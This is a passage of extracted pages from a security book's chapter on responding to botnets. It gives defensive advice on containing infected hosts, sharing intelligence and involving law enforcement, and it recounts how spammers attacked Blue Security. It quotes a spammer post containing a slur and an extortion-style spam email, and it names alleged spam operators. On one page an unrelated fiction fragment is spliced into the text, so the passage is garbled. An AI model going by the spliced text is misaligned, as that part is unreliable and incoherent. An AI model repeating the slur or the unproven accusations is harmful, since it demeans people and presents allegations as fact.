course, this situation may be made more complex if you\nhave any thoughts of working with law enforcement and you need to\nworry about preserving evidence.You can at least replace the user’s\ndrive with a new shiny, up-to-date pile of software and cart the\nwww.syngress.com\n434\nChapter 12 • Responding to Botnets\n" }, { "page_number": 453, "text": "infected drive off for forensic analysis.At some point, you need to get\nthe infected system off the air, so it doesn’t infect others.\n■\nConsider monitoring the infected host to see who else talks to it. See\nChapter 5 for mention of sniffers.You should analyze the local fire-\nwall and network monitoring historical data for this same data.You\nshould analyze the local security event logs to see who attacked this\ncomputer prior to its assimilation. Submitting malware found during\nthe quick forensics process to a malware analysis sandbox can identify\nthe initial C&C server, channel names, and passwords.\n■\nContact other network domains to tell them about the remote con-\ntacts discovered in the monitoring phase or analysis phase. Join the\nindustry intelligence sharing groups for your industry, like REN-\nISAC for higher education. See the ISAC Council at www.isac-\ncouncil.org. Consider other organizations like www.shadowserver.org\nfor botnets, www.castlecops.com/PIRT for phishing, and mailing lists\nlike Gadi Evron’s Botnet Digest (www.whitestar.linuxbox.org/\nmailman/listinfo/botnets).\nIt’s a good idea to watch an infected host with a sniffer of some sort, as you\nmay see that a remote controller is talking to more than one host. Given con-\nstraints on time, this may be all an IT organization is able to do. In Chapter 5,\nwe talked about abuse e-mail lists and ways to find out whom to contact for\nattacks from remote network domains. Politely ask the remote party to stop\nscanning you, sending spam your way, or inform them that they have a botnet\nC&C on their premises.This may be an act of compassion for some poor user\n(or 100,000 poor users) you have never met, as now his or her box might get\ncleaned up and further acts of identity theft might be prevented.This act may\nbe useful or useless. However, it is worth a shot, as communication channels\nneed to be part of the overall solution to the botnet problem.\nTaken together, the previous set of measures might be regarded as funda-\nmental, but that raises an interesting question. What else might we do? In the\nremainder of this section, we are going to talk about a few other things you\ncould try that are more proactive and may not be for everyone. If you have\ntime and possibly security credentials, you can consider getting involved by\ncommunicating and working with others about botnets.You can consider set-\nting up your own darknet or honeynets, or feeding any captured malware to a\nwww.syngress.com\nResponding to Botnets • Chapter 12\n435\n" }, { "page_number": 454, "text": "sandbox system as described in Chapter 10.You might also contact law\nenforcement. Certainly, there are difficulties with the latter approach.\nHowever, sometimes hackers do go to jail, and if they were all in jail, we\nmight not have such a problem.\nReporting Botnets\nA public channel for reporting botnets is located at c2report@isotf.org.The\ne-mail address is managed by Gadi Evron, a former information security\nmanager for the Israel CERT, now with Beyond Security. Gadi distributes a\nmonthly command and control report listing the top 20 ASNs by total sus-\npect domains mapping to a host in the ASN, and the top 20 ASNs by number\nof active suspect command and controls (see the sidebar, Notes from the\nUnderground).\nEvron also runs a mailing list for people who are interested in discussions\nabout botnets, located at www.whitestar.linuxbox.org/mailman/listinfo/botnets.\nIf you joined or participate in one of the organizations mentioned earlier\nthat track botnets or other forms of intrusion detection, you should be a good\nnetizen and report the events from your organization to them. Dshield at\ndshield.org takes firewall log data from the Internet at large and is a useful\nWeb site to visit for many reasons, including information about what is going\non planet-wide in malware. REN-ISAC is a security group for universities\nthat focuses on collecting and disseminating information about security inci-\ndents including botnets, and other forms of malware. It is a closed group, but\nyou might consider joining it if you are the security officer for a university,\nteaching hospital, or government research organization.They can be found at\nwww.ren-isac.net. Check out www.isaccouncil.org for ISACs that cover other\nindustries or interest groups.\nNotes from the Underground…\nBotnet Command and Control Servers Report\nA report of botnet C&Cs (however defined) as counted in various net-\nwork routing domains (Autonomous Systems) is available at\nwww.syngress.com\n436\nChapter 12 • Responding to Botnets\nContinued\n" }, { "page_number": 455, "text": "www.isotf.org. The report is also published publicly on the North\nAmerican Network Operators Group, located at www.merit.edu/\nmail.archives/nanog/. The report ranks ISP routing domains in various\nways, including active C&Cs and C&Cs taken down. The report is sorted\nvarious ways. The version here is sorted according to the ASN with the\nmost active C&Cs and is dated 30 Dec 2006.\nTop 20 ASNs by number of active suspect C&Cs:\nPercent_\nASN Responsible Party Total Open Resolved\n13301 UNITEDCOLO-AS Autonomous System of 107 27 75\n174 Cogent Communications 30 25 17\n19318 NJIIX-AS-1 - NEW JERSEY INTERN 132 25 81\n23522 CIT-FOONET 44 21 52\n25761 STAMIN-2 Staminus Communications 31 18 42\n8560 SCHLUND-AS 28 15 46\n30058 FDCSE FDCservers.net LLC 51 15 71\n16265 LEASEWEB AS 37 12 68\n9318 HANARO-AS 35 11 69\n21844 THE PLANET 15 11 27\n4766 KIXS-AS-KR 49 10 80\n3786 ERX-DACOMNET 22 10 55\n29737 WideOpenWest LLC 14 7 50\n7132 SBC Internet Services 33 6 82\n4782 GSNET 6 6 0\n1781 KAIST-DAEJEON-AS-KR Korea Advanced 9 6 33\n21050 FAST-TELCO kw.fast-telco Autnomous 11 6 45\n13213 UK2NET-AS UK-2 Ltd Autonomous Syste 32 6 81\n19444 CHARTER COMMUNICATIONS 7 5 29\n23966 Dancom Pakistan PVT) Limited 7 5 29\nFighting Back\nNo chapter on responses to botnets would be complete without a mention of\nBlue Security and Blue Frog.\nwww.syngress.com\nResponding to Botnets • Chapter 12\n437\n" }, { "page_number": 456, "text": "WARNING\nIf you decide to actively pursue a botnet, be aware that you might get\nhit with a tremendous DDoS attack. \nThe Saga of Blue Security\nBlue Security, an anti-spam vendor, developed a unique response to spam.The\ncompany offered a subscription service for a Do Not Intrude Registry ser-\nvice. Users would subscribe to the service.Then, when a user received spam,\nthe Blue Frog agent would search the spam Web site to find the opt out form\nand submit one opt out form (Figure 12.1) for every e-mail received.All of\nthese actions are legal and above board, despite a disinformation campaign to\ncharacterize the Blue Frog response as spam.\nFigure 12.1 Blue Frog Opt Out Example\nThe campaign appeared to be designed to disarm those who would come\nto Blue Security’s defense. In April 2006, five major spam groups agreed to\nstop spamming Blue Frog’s customers.The Blue Frog approach must have\nbeen working, for it evoked a deadly response from the spammers.\nAccording to a post on castle.com by tembow, a member of the Blue\nSecurity profile, the following was the spammers’ attack plan.\nwww.syngress.com\n438\nChapter 12 • Responding to Botnets\n" }, { "page_number": 457, "text": "1.\nGain access to over 70% of the Do Not Intrude Register (DNIR).\n2. Mount a massive 20-fold spam attack increase on Blue Security\nmembers.\n3. Shut down the Blue Security primary site with a massive DDoS.\n4. Shut down all the other Blue Security sites the same way.\n5. Subvert the Blue Frog application itself and make it launch spam and\nDDoS attacks.\nSeveral sources speculate that the spammers were able to determine the\ncontents of the Blue Security DNIR database by using the filtering software\nprovided by Blue Security to produce a list of the e-mail addresses that were\npermitted by the filter.They then compared the pre-filtered list.Anyone not\non both lists had to be a Blue Security customer.The spammers then carried\nout step 2 by sending the spam e-mail you find in the sidebar “E-Mail Sent\nto Blue Security Customers.”The following transcript contains conversations\nof the spammers discussing the database and how they would use it.\nThe transcript is archived at http://slashdot.org/comments.pl?sid=\n184656&threshold=1&commentsort=0&mode=thread&cid=15249882.The\nquote is reported to come from the postings of the alleged planners of the\nBlue Frog attacks on www.specialham.com.\n(crazy) \n“You BlueFrog faggots, you think this is the only community\nthat has your whole database? You honestly think a commu-\nnity of people you are trying to take down are going to\nREMOVE you from their lists? Look, killthem is not an anti, I\nknow him personally, so let that whole bullsh*t idea go to\nrest. Second, by running that database as froms or mailing\nthem on a dedicated box will not result in any “fed” coming\nto your door, more so you’ll just be p****ng off another\nbullshit internet-lamer who can’t understand how to filter a\nsimple spam message, so they join some bullshit community\ncalled”BlueFrog” and think they can run this sh*t. BF, news-\nflash: do you realize how many resources this community as\na whole controls? Do you honestly think you stand a chance?\nYour domain is down, it’s a matter of time before more nets\nare mounted to bring down your members area and it’ll be\nwww.syngress.com\nResponding to Botnets • Chapter 12\n439\n" }, { "page_number": 458, "text": "held down continuously until BF userbase has gotten to the\npoint they can’t perform their equally illegal DDoS attacks.\nGuys, download the DB, spam it, compile your lists with it\nand trade it around. Use them as froms, mail your anti DB\nwith them, do whatever you want. Let this database leak to\nthe point all these stupid a** f**ks have to get new e-mail\naddresses. Adios bluefreaks”\nAre You Owned?\nE-mail Sent to Blue Frog Customers\nName Removed Mon, May 1, 2006 at 5:30 PM \nTo: e-mail_address_removed@somewhere.edu\nHey, You are receieving this email because you are a member of\nBlueSecurity (http://www.bluesecurity.com). You signed up because you\nwere expecting to recieve a lesser amount of spam, unfortunately, due\nto the tactics used by BlueSecurity, you will end up recieving this mes-\nsage, or other nonsensical spams 20–40 times more than you would\nnormally.\nHow do you make it stop?\nSimple, in 48 hours, and every 48 hours thereafter, we will run our\ncurrent list of BlueSecurity subscribers through BlueSecurity’s database,\nif you arent there.. you won’t get this again.\nWe have devised a method to retrieve your address from their\ndatabase, so by signing up and remaining a BlueSecurity user not only\nare you opening yourself up for this, you are also potentially verifying\nyour email address through them to even more spammers, and will end\nup getting up even more spam as an end-result.\nBy signing up for bluesecurity, you are doing the exact opposite of\nwhat you want, so delete your account, and you will stop recieving this.\nWhy are we doing this?\nIts simple, we dont want to, but BlueSecurity is forcing us. We would\nmuch rather not waste our resources and send you these useless mails.\nIt’s simple, we dont want to, but BlueSecurity is forcing us. We\nwould much rather not waste our resources and send you these useless\nmails, but do not believe for one second that we will stop this tirade of\nemails if you choose to stay with BlueSecurity.\nJust remember one thing when you read this, we didnt do this to\nyou, BlueSecurity did.\nIf BlueSecurity decides to play fair, we will do the same.\nJust remove yourself from BlueSecurity, and make it easier on you.\nName Removed\nwww.syngress.com\n440\nChapter 12 • Responding to Botnets\n" }, { "page_number": 459, "text": "I think maybe he was saying “Let me the hell out of here!” When\nhe let the coverlet fall into a smoking heap at the baseboard, there was\na big smoking bald spot in the middle of the wall, but the paper was\nout.” Colter,” he said. What would she think, he wondered, of that man\nas he looked now, forty pounds lighter and ten years older, his legs a\npair of crooked useless horrors?.\nOn May 2, the spammers began a DDoS attack on the main Blue\nSecurity Web site. During the course of the attack, the spammers would take\nout Blue Security’s Web site. When Blue Security re-directed the traffic for its\nmain Web page to its blog server to make the Blue Frog service available to\nits customers again, the blog server was not able to handle the load either.\nOnly when it went down it took all of Six Part, the blog serving company,\nincluding high-profile customers Live Journal and Typepad.At that point,\ntheir domain name service provider,Tucows, fired them, revealing yet another\nhole on the good guy’s side. Blue Security then worked with Prolexic\nTechnologies, a company known as a specialist in DDoS protection. Prolexic\nwas bombarded by defamatory spam e-mails about Prolexic, multi-gigabit\nDDoS attacks, and mail bombs.They were taken down for eight hours when\nthe attack shifted to their DNS provider. When the spammers began targeting\nthe paying customers of Blue Security with intense spam, the people who\nturned to Blue Security—that is, had paid Blue Security for protection—sud-\ndenly found themselves a target because of that action. On May 16, Blue\nSecurity closed its doors.\nThe Register of Known Spam Operations (ROKSO, www.spamhaus.org/\nrokso/index.lasso), operated by The Spamhaus Project\n(www.spamhaus.org/index.lasso), believes the planners of the attacks are:\n■\nLeo Kuvayev (AKA BadCow), speculated to be Pharmamaster, the\nspammer who DDoS’ed Blue Frog. Kuvayev made the news in May\n2005, being prosecuted by the state of Massachusetts to the tune of\n$37M and the forced closure of dozens of Web sites.The state sus-\npects that he fled to Russia where there were no laws against spam-\nming.A law was passed in 2006, but is believed to be ineffective.\n■\nChristopher J. Brown / Swank AKA Dollar \n■\nJoshua Burch (AKA “zMACk,”“pitboss,” and maybe “Digihax,”\n“Nathan Allen” & “Gene Heu”)\nwww.syngress.com\nResponding to Botnets • Chapter 12\n441\n" }, { "page_number": 460, "text": "■\nAlex Blood / Alexander Mosh / AlekseyB / Alex Polyakov—Some\nbelieve he could be Pharmamaster.Alex Polyakov is a Russian spy in\nJohn LeCarre’s spy novel, Tinker,Tailor, Soldier, Spy.\nAn open source project called Black Frog (www.okopipi.org/) hopes to\ncontinue to work on the concept.\nSome Observations about the Blue Frog Affair \nThis incident closely resembles the gang warfare of the 1920s, 1950s, and\n1960s. Perhaps we should look at how communities reclaimed their neighbor-\nhoods for ideas. It also resembles the Wild West when people entered an area\ndevoid of the infrastructures of civilization.The good news is that in each of\nthese cases, time eventually brought an end to the conditions that permitted\nthis immoral behavior to prevail. In each case, a few brave souls stood their\nground and said,“this has got to change.”And it did. Blue Frog was effective\nat what it did. Six of the world’s top 10 spammers had agreed to use their fil-\ntering.This was an incredible feat. What brought Blue Security down was the\nlack of infrastructure to protect our DNS services, the lack of an ability to\nrespond to this kind of law enforcement challenge, the lack of effective laws\nin all countries covering this problem, and the lack of any requirements for\nDNS and ISPs to support their customers in these situations.That and the\nfact that Blue Security never envisioned that someone would be able to figure\nout who its customers were and go after them.\nGraham Cluley, a Sophos senior technology consultant, made this observa-\ntion in a Technology News article (Blue Security Shutters After Brutal Spam\nAttack, by Keith Regan 5/18/06) after the Blue Frog fiasco.“This is truly an\ninternational problem now, and that means old-fashioned law enforcement\nefforts aren’t going to get the job done. It’s going to take a combination of\ntechnology, law enforcement, and cultural shifts from users to make a differ-\nence.”This change won’t happen by accident, and it won’t happen without\nthe right people meeting to plan it and make it happen.\nLater in the spammer’s transcript, one of the spammers known as ebulker\nsays,“Let’s work as a team destroying their business and protect our interests\ntogether!”That’s some advice we should be following.\nwww.syngress.com\n442\nChapter 12 • Responding to Botnets\n" }, { "page_number": 461, "text": "Law Enforcement\nIf you choose, you can report a botnet to either the FBI or the Secret Service.\nReporting a botnet to the IC3 (www.IC3.gov) lets the IC3 determine the\nagency with jurisdiction, but does not give you the option of following progress\non the case. If you need to be able to report the outcome, they will need to\nreport it to the FBI or the Secret Service.The Secret Service is usually respon-\nsible for cases involving credit cards and some other financial crimes.The FTC\ncan also be involved in cases of phishing or identity theft.\nUse law enforcement to identify and track the botherder for prosecution\nor civil suits.You can ask your prosecuting attorney’s office to issue a sub-\npoena to obtain customer information or connection information.\nSometimes, an ISP will require a court order for connection information.To\ngain access to content, it is usually necessary for law enforcement to obtain a\nwarrant for search or seizure of any local infected host. Onsite, the target host\nshould be disconnected from the network. Image the host’s hard drive using\ntools capable of making a forensically sound image.Ask the system adminis-\ntrators to assist in obtaining information about the following:\n■\nThe botnet channel and its moderator (identity information; when\nthe user account, if there is one, was created). Note that IRC does\nnot require the user to have an account on the system.\n■\nOther channels the botherder moderated or used.\n■\nWhen the channel(s) were created.\n■\nWhether the botherder connects locally or remotely, and if remotely,\nusing which IP addresses.\n■\nAny useful system logs or other file traces associated with the attack.\nYou may need to repeat this process for systems the botherder used to access\nyour system.You should try to confirm that the system had no Remote Access\nTrojan (RAT) through which the botherder could have entered.The ISP for\nthis system may have valuable logs about the activities of the botherder that can\nalert you that this next system may be the actual botherder’s system.\nThe law enforcement and judicial system interface is another place for\nimprovements. With spam in the millions and botnets of multi-thousand\ncomputers spread across the globe, the current process of having to speak to\nand gain permission from a person in the court system is no longer viable.A\nwww.syngress.com\nResponding to Botnets • Chapter 12\n443\n" }, { "page_number": 462, "text": "means of electronic submission and approval of these kinds of requests is\nneeded.\nLaw regarding botnets is literally all over the map.\nDarknets, Honeynets, and Botnet Subversion\nDarknets, honeynets, and the like, including tools like sandboxes (Chapter 11),\nare an important and valuable resource for fighting botnets. Many researchers\nand white-hat crime fighters are using them to learn more about botnets and\neliminate them when possible. Darknets and honeynets run by various entities\nprovide valuable information about how botnets work both from the host and\nnetwork point of view. For instance, Shadowserver (www.shadowserver.org/) is\nan all-volunteer group that tracks and reports on botnets and other malware.\nMuch of their information comes from such tools, and their Web site explicitly\npromotes a tool called Nepenthes for collection of malware (see\nhttp://nepenthes.mwcollect.org). Shadowserver’s Web site also has some great\nstatistics on botnets.Another Web site and group of interest is the Cymru group\n(www.cymru.com), which has information about how to set up a darknet.\nSetting up a darknet or honeynet isn’t for everyone, as you might not have\nthe time or resources required. However, if you do, you should consider\njoining one or more crime-fighting groups and then report on information\nlearned about local attacks.\nOne can note that some consider more “interesting” techniques that\nmight include trying to actively subvert the botnet itself in some way. Perhaps\nyou might log in to an IRC botnet server and issue commands to release the\nbotnet clients, or perhaps actively try to take over the C&C and somehow\nshut the botnet system down. We aren’t going to recommend such practices,\nas they may be harmful to your network’s health.\nEven though we do not recommend such practices (at least for novices),\none highly intriguing idea comes from Kapil Kumar Singh of Georgia\nInstitute of Technology. Kapil recommends using a Karstnet (Figure 12.2).The\nKarstnet approach leverages the fact that most bot clients can find the bot\nserver (step 1 in Figure 12.2), because the server is set up using Dynamic\nDNS. In step 2, with the cooperation of a dynamic DNS provider, you can\nhave the provider redirect the DNS entries to somewhere other than the bot\nserver. In effect, this is a man-in-the-middle attack on the botnet herder.This\nentry will cause (step 3) botnet clients to send all bot client communication\nwww.syngress.com\n444\nChapter 12 • Responding to Botnets\n" }, { "page_number": 463, "text": "attempts to the fake C&C.At the fake C&C, various choices can be made,\nincluding simply studying the traffic as it passes by, or blocking the traffic to\nmake the botnet itself ineffective. If something like this is attempted, it is\nprobably a good idea to block any local botnet clients from talking to some-\nthing other than the fake C&C, as they may have backdoor channels you did\nnot know about beforehand.Another simple option is to simply remove the\nDNS entries altogether. In step 4, the botnet herder says a bad word.The\nDynamic DNS provider should be prepared for a DDoS attack, if the both-\nerder has more divisions of zombies to do his bidding.You can find more\ndetail on the Karstnet approach at www.cc.gatech.edu/classes/AY2006/\ncs6262_spring/botnets.ppt.\nFigure 12.2 Using a Blackhole to Disable a Botnet\nA Call to Arms\nSo, let’s look in the crystal ball and predict the future. It’s not hard. Botnets\nrepresent a leading edge of computer crime in both technological and profit\nterms. Botnets will evolve to some extent because people will find holes in\ncomplex software systems, and some botnet herders will use different control\nwww.syngress.com\nResponding to Botnets • Chapter 12\n445\n" }, { "page_number": 464, "text": "mechanisms.They may use strong encryption.They may use P2P for com-\nmand and control, or still use IRC because working software is useful and\nhuman beings are often averse to change, even hackers.Turing proved that\nholes are unavoidable, and common sense tells us that software systems tend\nto complexity. It doesn’t matter if you blame it on Microsoft or Linux; normal\nfolks rarely buy a computer with less memory.The bottom line here is that\nbotnets will get more complicated.And in response, vendors will create more\ncomplex systems for detecting malware, be it network gear like intrusion\ndetection systems or anti-virus software, or “honeynets in a box.” So, botnets\nwill change their stripes. However, IT professionals will analyze what the\nblack-hats do and invent new countermeasures.\nThe following list includes general categories of concepts or things that\ncould affect the existence and proliferation of botnets.The categories listed\nare a generalization of a taxonomy of phishing solutions developed by the\nFinancial Services Technology Consortium.The original categories can be\nfound in Appendix A and are used with the permission of the Financial\nServices Technology Consortium (FSTC).These categories were taken from\nAppendix B of “FSTC Counter Phishing Solutions Survey Summary,” pub-\nlished by FSTC on December 4, 2004.\n■\nHardening Hardware and Software\n■\nEndpoints and Connections\n■\nFueling or Reducing the Demand\n■\nMobile Devices\n■\nSupporting Applications\n■\nInternet Infrastructure\n■\nOnline Applications Security \n■\nIndustry Countermeasures\n■\nThings Related to Gathering and Sharing Information\n■\nIndustry Monitoring and Surveillance Measures\n■\nProactive Measures\n■\nNontechnical Measures\n■\nAwareness,Training, and Education and End User Engagement\nwww.syngress.com\n446\nChapter 12 • Responding to Botnets\n" }, { "page_number": 465, "text": "■\nInstitutional Hardening\n■\nLegal Actions\n■\nLaw Enforcement and Prosecution\n■\nLegislation or Regulation\nSummary\nWe’ve covered a number of the preceding categories in this book, but not all.\nTo successfully attack the problem of botnets, we need to have smart people\nbreaking this problem in to manageable pieces.The preceding outline can\nbegin to guide our efforts to apply resources to many aspects of this scourge.\nIt is hard to decide where to begin.There are so many opportunities to\nchose from that will make a difference in your organization.The important\nthing is that each of us picks something and begins. Most importantly, commu-\nnicate with others about what is going on at your site.Tell each other about\nwhat works and what doesn’t in terms of processes and tools. If you have time\nand skill, get involved in the wider fight. Consider reporting your problems or\ndiscoveries to various relevant sites like dshield.org, the shadowserver site, the\nbotnet digest, or one of the ISACs we mentioned previously.\nThere is that famous alleged old Chinese curse,“may you live in inter-\nesting times.”These are interesting times. On the other hand, there is an\nopportunity here for those concerned about the problem to find ways to\nband together. We think that this is a potentially very fruitful area simply\nbecause useful exchanges about botnets have had limited circulation in the\npast.There is hope there simply because books like this one may get people\nto work together to address these problems.\nWe sincerely believe that security and networking professionals of all\nwalks need to band together and work harder (or smarter) to deal with the\nbotnet threat Some of the techniques presented in this book (including, for\nexample, the sandbox work in Chapter 10 or ourmon in Chapters 6 through\n9) suggest new tools that can help. Basic security measures based on tradi-\ntional rules like isolation and separation of privilege (and good password prac-\ntice) will help, too. Serious consideration needs to be given to the problems of\nlarge-scale Windows administration in enterprises, and the problem of\nWindows on an end-user desk hooked up via a DSL connection.The single\nbiggest gap in our ability to address the botnet threat is the lack of the ability\nwww.syngress.com\nResponding to Botnets • Chapter 12\n447\n" }, { "page_number": 466, "text": "to help the home user. When we described the efforts that are needed in the\nenterprise or institutional networks, they were wide reaching and compli-\ncated. Even our power users in this environment are not considered to have\nthe tools and skills necessary to fight this issue alone.Yet, the home user—our\nmoms and dads, grandmothers, and grandfathers, and small children—are\nessentially on their own in this battle. In our opinion, the ISPs serving the\nhome market need to acknowledge that without a mandatory response by the\nISPs, botherders will always have a new crop of easy victims.The mandatory\nresponse can be in the form of required compliance to new industry standards\nor compliance with new laws or regulations.As long as ISPs continue to\nbelieve that their only responsibility is to act as a pipeline, they will continue\nto stand idly by while our innocents are exposed to danger. Perhaps most\nimportant is that the white-hats need to get involved and communicate.Their\nmanagement needs to encourage them to get involved.\nSolutions Fast Track\nGiving Up Is Not an Option\n\u0002 The despair over the loss of the “head of the snake” strategy was\nmisplaced. Just as the loss of U.S. battleships in Pearl Harbor forced\nthe U.S. Navy to move to a newer and in many ways better carrier-\ncentric Navy, so too will the loss of the old botnet strategy force us\nto move to newer and better tools and techniques. Botnets may\nevolve, but so will our responses to them.?\n\u0002 Getting rid of a botserver C&C is a good thing, but damaged hosts\nstill need to be repaired.\n\u0002 Many botnet clients are simply due to bad local security practices\nthat can be easily remedied via education about good security policy\nand practice.\nWhy Do We Have This Problem?\n\u0002 Money is the root of all evil, and botnets. Who is fueling the demand\nfor botnets? Find and eliminate the conditions that cause the\ndemand, and botnets will diminish. Improve the security of ATM\nwww.syngress.com\n448\nChapter 12 • Responding to Botnets\n" }, { "page_number": 467, "text": "card encoding, and botnets won’t be nearly as lucrative a business\nproposition for cashers.\n\u0002 Phishing attacks based on social engineering via fake Web pages, and\npharming attacks based on rewiring the DNS to send naïve users to\nnew fake Web sites, are an important part of the botnet scene.\n\u0002 The complexity of software and distributed systems is a hard\nproblem.This means it is easy for a hacker to find an exploit, and\nhard for defenders to defend against all possible exploits.\n\u0002 Fundamental security policies are often ignored. For example,\npasswords may be weak or nonexistent on highly privileged accounts.\nMany attacks include password guessing as one of the threat\nelements. Software that requires a user to have local admin privileges\nto operate, giving out local admin accounts to anyone who wants\none, and using local admin accounts for day-to-day use increase the\nodds that a computer will become a botnet.\n\u0002 Many attacks are old and simply rely on the existence of unpatched\n(Windows) systems. Windows is not the only guilty party, though, as\nother systems can go unpatched as well.\n\u0002 Policies that allow anyone to create Web pages without any\nrequirement for security, security standards compliance, or even\nsecurity review threaten both Windows- and UNIX-based systems.\nCreating Web pages for all users, even if they never intend to use\nthem, creates piles of treasure for the new phisher.The hosting\nplatform of choice for phishers today is overwhelmingly UNIX-\nbased systems running Apache.\nWhat Is to Be Done?\n\u0002 Improve local security policy authentication practices to help prevent\npassword-guessing attacks.This includes sane account management\npractices.\n\u0002 Use firewalls and other containment technologies (even NAT!) to\nlimit the scope of attacks.\n\u0002 Windows systems need to be updated.All other systems need to be\nupdated, too. Beware turning off auto updates. Remember from\nwww.syngress.com\nResponding to Botnets • Chapter 12\n449\n" }, { "page_number": 468, "text": "Microsoft Patch Tuesday to the first exploit is down to three days as\nof December 2006. Don’t forget to verify that all systems have\naccepted and installed the patches.\n\u0002 Every Windows host needs a virus checker and possibly a spyware or\nadware checker.\n\u0002 Every host should have a firewall. User host firewalls that can actively\nwarn you about host network perimeter trespasses seem like a very\ngood idea indeed.\n\u0002 Obviously, malware should be taken off the Net and cleaned up.\nHowever, you may want to first consider putting tcpview or a sniffer\non it and learning if other local hosts are involved.You may also be\nable to learn about remote hosts that may be the botnet C&C. Send\na copy of malware that is found on infected systems to one of the\nCWSandbox sites to learn what it does and who it talks to upon\ninstallation.\n\u0002 Send abuse e-mail about remote attacks.You may be doing some\npoor remote user a great favor (or you may be ignored).\n\u0002 Law enforcement may be invoked, especially if the incident is\nconsidered very serious for legal or financial reasons.\n\u0002 Darknets, honeynets, honeypot tools, and sandboxes are all useful for\ndetermining what is going on in botnet-land.\n\u0002 Shadowserver (www.shadowserver.org) is an all-volunteer group that\ntracks and reports on botnets and other malware.They recommend\nNepenthes for collection of malware (see http://nepenthes.\nmwcollect.org).\n\u0002 Require all outbound mail to go through official mail servers to\nprevent botclients from spamming directly to the Internet.\n\u0002 Use networking equipment that supports port security to detect\nDHCP, IP address, and ARP spoofing.\n\u0002 Develop your sources of internal intelligence. Work with operations\nto ensure that you have the time to gather intelligence from infected\nmachines before they are re-imaged and put back in service.\nwww.syngress.com\n450\nChapter 12 • Responding to Botnets\n" }, { "page_number": 469, "text": "\u0002 Report the botnets you find.\n\u0002 Plan the steps you will take if a botherder decides to target your\ncompany for retribution for all of the above actions. Remember the\nBlue Frog!\nA Call to Arms\n\u0002 Fundamental security rules apply: focus on good security policy and\nprocess.\n\u0002 We need effective communication channels between all white-hat\nelements involved in this problem, including government, law\nenforcement, academics, and IT professionals.\n\u0002 Education for everyone in security is essential.\n\u0002 Try the new tools discussed in this chapter, find a new technique,\njoin a new organization. It doesn’t matter which one. It is important\nto take that first step.\nQ: So, should we give up all hope and cower under the table?\nA: No. Cowering under the table gets old, especially when you are hopeless.\nSane security policies and practices need to be learned, thought about, and\nimplemented. Expect to make mistakes, but be willing to learn from\nothers.\nQ: Are there any particular security practices or lack thereof you find discon-\ncerting? \nA: Yes, we think there needs to be at least a one order of magnitude increase\nin communication among security professionals. Different people know\nwww.syngress.com\nResponding to Botnets • Chapter 12\n451\nFrequently Asked Questions\nThe following Frequently Asked Questions, answered by the authors of this\nbook, are designed to both measure your understanding of the concepts pre-\nsented in this chapter and to assist you with real-life implementation of these\nconcepts. To have your questions about this chapter answered by the author,\nbrowse to www.syngress.com/solutions and click on the “Ask the Author”\nform. \n" }, { "page_number": 470, "text": "different parts of the problem, and in general, not enough information is\nshared on the subject. One very real problem is that organizations do not\nwant to talk about security problems for reasons of fear of liability or\nsimple embarrassment about looking stupid. We need more open commu-\nnication and better ways for those who know what is happening to\ninform those who need to know what is happening.\nQ: Doesn’t P2P mean the game is over?\nA: Hardly. One need only pay attention to the ever-unfolding saga of P2P\nprotocol development. On the one hand, we have youngsters trying to\n“share” media, and on the other, we have Hollywood trying to stop them\nfrom disseminating unlicensed IP of various forms.As a result, we may\nend up with P2P encrypted with AES and using port 80 to hide among\nthe Web traffic (just like botnets).The problem is that you still have to\nhave some way for the set of P2P hosts to rendezvous, and the rendezvous\nmay always include an unwanted third party (read informer).This phe-\nnomenon is similar to the darknet/honeynet phenomenon. If you attack\nstrangers, it may turn out that some strangers will invite you in, feed you,\nand note everything you do. From another point of view entirely, those\nwho send spam and engage in DDoS attacks commit unnatural acts on\nthe Internet. Various tools like netflow and ourmon can spot those attacks.\nOnce we know a local box is infected, we can see who is talking to it,\neven if we can’t decode the traffic. Honeypots and the like mean that at\nsome point the malware loses its encrypted communication channel.This\noffers the white-hats the ability to tap into the software and figure out\nwhat is going on.The game is not over.\nwww.syngress.com\n452\nChapter 12 • Responding to Botnets\n" }, { "page_number": 471, "text": "FSTC Phishing \nSolutions Categories\nThis document is a companion to the “FSTC Counter Phishing Solutions Survey\nSummary” (published by FSTC on Dec. 20, 2004) and is used with the FSTC’s\npermission. The survey was conducted in connection with the FSTC’s Counter\nPhishing project. It is provided to give additional background information\ndetailing the categories used by that project and generalized in Chapter 12 to\nmake them equally applicable to the botnet solution space. \nB.1 Security Hardening and Technological Refinements \nB.1.1 Category I: Hardening Office and Home PCs The home or office PC is increasingly\nthe “weakest link” in eCommerce security, including online financial services.At the same time, the number of users\naccessing eCommerce and online financial services via PCs has grown substantially and may already represent the most\npopular vehicle for transacting everyday business. Broad adoption, vulnerable PCs, and inexperienced users created the\nideal culture for growth of phishing.\nB.1.1.1 Software Patch Distribution and Management Services Tools and services that\ncan effectively manage the software update process in a way that increases security of end-user PCs while reducing the\nburden on all users, but especially novice or inexperienced users.Also, techniques that minimize the potential that soft-\nware update procedures might, in turn, be compromised by attackers.\nB.1.1.2 Malware Detection/Blocking/Elimination Any counter-measure that can be used to\ndetect (recognize), block installation of, or eliminate (remove) malware.Also, improvements over traditional anti-virus soft-\nware techniques that might be more effective against increasingly sophisticated techniques that have been designed to\navoid detection or disable counter-measures.\nB.1.1.3 Malware Proactive Blocking Proactive measures that can prevent malware from ever being\ninstalled or that neutralizes malware if it does get installed. Such tools need to protect users even when they mistakenly\nenable installation of malware through a social engineering attack. Included in this category are counter-measures that\nrespond to any suspicious software actions, or that block all software installations unless allowed by some trusted authority.\nB.1.1.4 Detection of-, Blocking Access to-, Malicious Sites Tools that monitor and detect\ndeceptions used by phishers to direct users to malicious (compromised) sites and then alert the user and block access to\nthe malicious site. Such tools may also send reports of suspect sites encountered by users and receive information about\nknown good sites.\nB.1.1.5 Enhanced Firewall Capabilities to Counter Phishing Enhancements to any firewall\nschemes that would improve effectiveness in preventing phishing attacks or any of the exploits that may be elements of a\nphishing attack. Relevant firewall schemes could include embedded (personal) firewalls operating on PCs, network appli-\nances, or even firewall services operated by ISPs for protecting home and office PCs.\nB.1.1.6 Security Policy Enforcement for PCs and PC-based Applications Measures\nto rigidly enforce security policies for PCs that eliminate potential user errors or poor judgment. Potentially, this category\nAppendix A\n453\n" }, { "page_number": 472, "text": "could include some of the policy enforcement measures that have been developed for telecommuters, but targeted at the gen-\neral consumer.\nB.1.1.7 Security Enhanced (less vulnerable) eMail Clients Any enhancements to email client\napplications that reduce the likelihood that email messages can be used to deliver phishing attacks or help users avoid social\nengineering attacks.This category is intended to include enhanced client applications or plugins that work with the email\napplication.\nB.1.1.8 Security Enhanced (less vulnerable) Browsers 